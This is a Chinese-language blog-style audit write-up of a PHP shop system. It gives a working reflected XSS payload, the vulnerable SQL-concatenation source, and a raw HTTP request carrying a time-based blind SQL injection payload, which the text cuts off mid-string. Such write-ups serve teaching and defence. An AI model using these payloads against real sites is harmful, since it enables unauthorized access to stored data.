前言
前面我们也已经挖掘到了许多的系统和漏洞,主要常见的还是SQL注入、XSS、文件上传漏洞为主,SQL注入漏洞在一般情况下可以获取到更多的数据,文件上传也是和SQL注入一致,同样是为了扩大战果,直奔系统信息数据。在一般条件坎坷下某些系统是存在安全防护,或许某些工作我们不能一一的完成,只能从研究绕过安全防护这类的,虽然在代码层没有危险函数过滤,单单安全防护也是可以通过一些骚操作,进行绕过。最近听到最多的就是代码安全,代码安全在整体框架中是较重要的!
自动化审计
先用Seay代码审计工具跑一遍,结果很快就出来了,第一眼可以可以看到,相关的PHP文件中的引用参ID,是的,通过ID这类简单写法,猜测中可能会存在SQL注入或多处的SQL注入点,因为下面也是发现到了有其它文件也有ID参,不管这类是否同一引用还是自定义,都值得我们去了解。
前端XSS
这个XSS是随便测的时候发现的,URL一个有两个参数,第一次查询是这样的http://XXX.XX.XXX.XXX/query.php
查询后发现还带了一个参数:http://xxx.xxx.xx.xxx/query.php?no=20240722161122525&paypass=直接构造XSS,触发
/query.php?no=20240722161122525&paypass="><sCrIpT>alert(1)</ScRiPt>
所以非常的奇怪为什么会出现paypass这个参数,
通过注释中的代码片段 $srow['sta'] 的值决定是否跳转到查询页面, header() 函数进行重定向,URL 包含 no 和 paypass 参数,其中 no 的值是 $md5_trade_no,$md5_trade_no 直接插入到 URL 中,如果 $md5_trade_no 包含恶意脚本代码,这部分代码将成为跳转 URL 的一部分,当 header() 函数执行时,恶意的 paypass 参数被插入到跳转的 URL 中。
前端SQL注入
登陆授权和不授权的SQL注入几乎是有风险差别,通过前端搜索商品功能中http://XXX.XXX.XXX.XXX/sousuo.php发现一处SQL注入,有些工具根据不同的规,需要人工去动手尝试是否存在漏洞。
template\g4\sousuo.php
<?php
$pz = $_POST['pz'];
if (!empty($pz)) {
$gsql = "SELECT * FROM safwl_goods WHERE gName like '%$pz%' or id like '%$pz%' or tpId like '%$pz%' order by id desc";
$grs = $DB->query($gsql);
while ($row = $DB->fetch($grs)) {
$ycs = $DB->count("select count(id) from safwl_order where sta =1 and gid = " . $row['id']);
$kcount = $DB->count("select count(id) from safwl_km where stat =0 and gid = " . $row['id']);
?>
这里通过获取用户输入pz参数
$pz = $_POST['pz'];
用户输入的关键词通过POST请求接收,因为没有对用户输入进行任何验证或过滤,然后直接构建SQL查询。
if (!empty($pz)) {
$gsql = "SELECT * FROM safwl_goods WHERE gName like '%$pz%' or id like '%$pz%' or tpId like '%$pz%' order by id desc";
$grs = $DB->query($gsql);
这里的$gsql变量直接将用户输入拼接到SQL查询语句中。如果用户输入恶意SQL代码,将直接在数据库中执行。例如,输入' OR '1'='1将生成以下SQL查询:
SELECT * FROM safwl_goods WHERE gName like '%%' OR '1'='1%' OR id like '%%' OR '1'='1%' OR tpId like '%%' OR '1'='1%' ORDER BY id DESC
构造的SQL查询,如果这个栗子查询条件总为真,就会返回所有我需要的内容。这里跳过测试过程......验证上面过程的例子:
POST /sousuo.php HTTP/1.1
Host: xxx.xx.xxx.xx
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Content-Length: 102
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
Cookie: 63417b2defee691955b81969fd9cc4f0_ssl=9bed5227-2cea-44ea-b5f8-bb64c050e4ec.Yvyr6IBGiRnfNCGa06m8nUxUArA; 6ab97ce6273c4f733d8e0c64f6d17f77_ssl=56575fd7-d4e2-4b5a-be59-476841c05fc9.jsdV3JrDT8sUez45BEhbCm2mkZI; PHPSESSID=ugn580fv282avgktbca8juk8hf; tradeno=20240722161122525; paypass=
Origin: http://xxx.xx.xxx.xxx
Priority: u=0, i
Referer: http://xxx.xxx.xxx.xxx/sousuo.php
Upgrade-Insecure-Requests: 1
Accept-Encoding: gzip
pz=1%27and%28select%2Afrom%28select%2Bsleep%282%29%29a%2F%2A%2A%2Fun